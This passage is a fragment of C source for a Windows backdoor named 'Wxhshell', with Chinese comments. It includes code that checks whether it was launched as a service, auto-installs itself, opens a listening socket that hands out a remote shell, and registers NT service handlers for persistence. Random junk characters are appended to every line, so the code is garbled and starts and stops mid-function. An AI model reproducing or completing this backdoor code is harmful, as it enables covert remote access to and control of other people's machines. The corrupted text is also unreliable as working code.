ULONG InheritedFromUniqueProcessId; S7 2+d%$
} PROCESS_BASIC_INFORMATION; Y Uc+0
JG.y,<xW
PROCNTQSIP NtQueryInformationProcess; )m+W
j
R{4^t97wH{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #Pau\|e_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uc{Ihw
g/_5unI}u
HANDLE hProcess; !TH)
+zi
PROCESS_BASIC_INFORMATION pbi; Kn{4;Xk\
3NqB
<J
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XX!%RE`M8
if(NULL == hInst ) return 0; q$UJ$7=f8
6v!`1}
~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =?*!"&h
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #MkTkm&r
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N% B>M7-=
wu6;.xTLl
if (!NtQueryInformationProcess) return 0; Paq4
2qNt,;DQ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @;4zrzQi7
if(!hProcess) return 0; <}Vrl`?h
7+cO_3AB
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C&f=
ywi0
sdrfsrNvB-
CloseHandle(hProcess); ]cvwIc">
0auYG><=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >uB?rGcM
if(hProcess==NULL) return 0; CW K7wZM
uZYF(Yu
HMODULE hMod; }tuC}
char procName[255]; t3ZOco@~P
unsigned long cbNeeded;
XJB)rP
gg/-k;@ Rf
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iVr J Q
v~C
Czg
CloseHandle(hProcess); :4w ?#
A@('pA85
if(strstr(procName,"services")) return 1; // 以服务启动 Vt~{Gu-Y
Pm?KI<TH~
return 0; // 注册表启动 (E3b\lST
} `[yKFa
I
#z%fx
// 主模块 kH1~k,|\&K
int StartWxhshell(LPSTR lpCmdLine) 'oVx#w^mf
{ ">nxHU
SOCKET wsl; On?v|10r'
BOOL val=TRUE; >|=ts
int port=0; ty!`T+3
struct sockaddr_in door; Qel9G($=
hZ,_6mNg
if(wscfg.ws_autoins) Install(); I
34>X`[o
a-tmq]]E
port=atoi(lpCmdLine); @1j
QIEJ6`
if(port<=0) port=wscfg.ws_port;
/maJtX'
W@IQ^
}E
WSADATA data; ,qwuLBW
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ue"~9JK.
9=tIz
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; e`s
~.ZF
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U/M>?G~
door.sin_family = AF_INET; q?:dCFw$x5
door.sin_addr.s_addr = inet_addr("127.0.0.1"); N~gzDQ3
door.sin_port = htons(port); ejd(R+
/nsX]V6i
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pki%vRY
closesocket(wsl); 6@!`]tSCK
return 1; T>Z<]s
} 0mVNQxHI
qR{=pR
if(listen(wsl,2) == INVALID_SOCKET) { hfTY.
closesocket(wsl); ?^{Ah}x
return 1; Izc\V9+
} gH vZVC[b
Wxhshell(wsl); ]EAO+x9
WSACleanup(); i]4I [!
n@i HFBb
return 0; T-L||yE,h
vr l-$ii
} u=s p`%?
l)\! .X
// 以NT服务方式启动 Fm 2AEs\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +sA2WK]
{ |df Pki{
DWORD status = 0; xo&_bMO
DWORD specificError = 0xfffffff; mJnIwdW*
BxmWIItz
serviceStatus.dwServiceType = SERVICE_WIN32; *&W"bOMH*
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `wVyb>T
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `h\j99
serviceStatus.dwWin32ExitCode = 0; J@'wf8Ub
serviceStatus.dwServiceSpecificExitCode = 0; "S]TP$O D
serviceStatus.dwCheckPoint = 0; jr."I+
serviceStatus.dwWaitHint = 0; G` A4|+W"
zw[m9N5\h
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EVSX.'&f
if (hServiceStatusHandle==0) return; d0ksG$
/~?*=}c^m
status = GetLastError(); GxxW&y
if (status!=NO_ERROR) %> eiAB_b
{ 7}>E J
serviceStatus.dwCurrentState = SERVICE_STOPPED; ki!0^t:9
serviceStatus.dwCheckPoint = 0; t*u:hex
serviceStatus.dwWaitHint = 0; +6\Zj)
serviceStatus.dwWin32ExitCode = status; n\53w h@+
serviceStatus.dwServiceSpecificExitCode = specificError; W!(zT6#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VA5xp]
return; eMsd37J
} u#.2w)!D
9A=,E&
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4HlQ&2O%#
serviceStatus.dwCheckPoint = 0; IJ"q~r$
serviceStatus.dwWaitHint = 0; D@.6>:;il
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0e4{{zQx
} }Y\%RA
0h_|t-9j
// 处理NT服务事件,比如:启动、停止 T8g$uFo
VOID WINAPI NTServiceHandler(DWORD fdwControl) /x$ nje,.
{ ;_(4Q*Yx
switch(fdwControl) Q2gq}c~
{ 7:1Lol-V
case SERVICE_CONTROL_STOP: QWYJ*
serviceStatus.dwWin32ExitCode = 0; m_]Y{3C
serviceStatus.dwCurrentState = SERVICE_STOPPED; Xv^qVn4
serviceStatus.dwCheckPoint = 0; }7Q% 6&IR
serviceStatus.dwWaitHint = 0; ga +dt
{ ux4POO3C|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i_%_ x*
} !|(NgzDP/
return; N6:`/f+A>T
case SERVICE_CONTROL_PAUSE: { <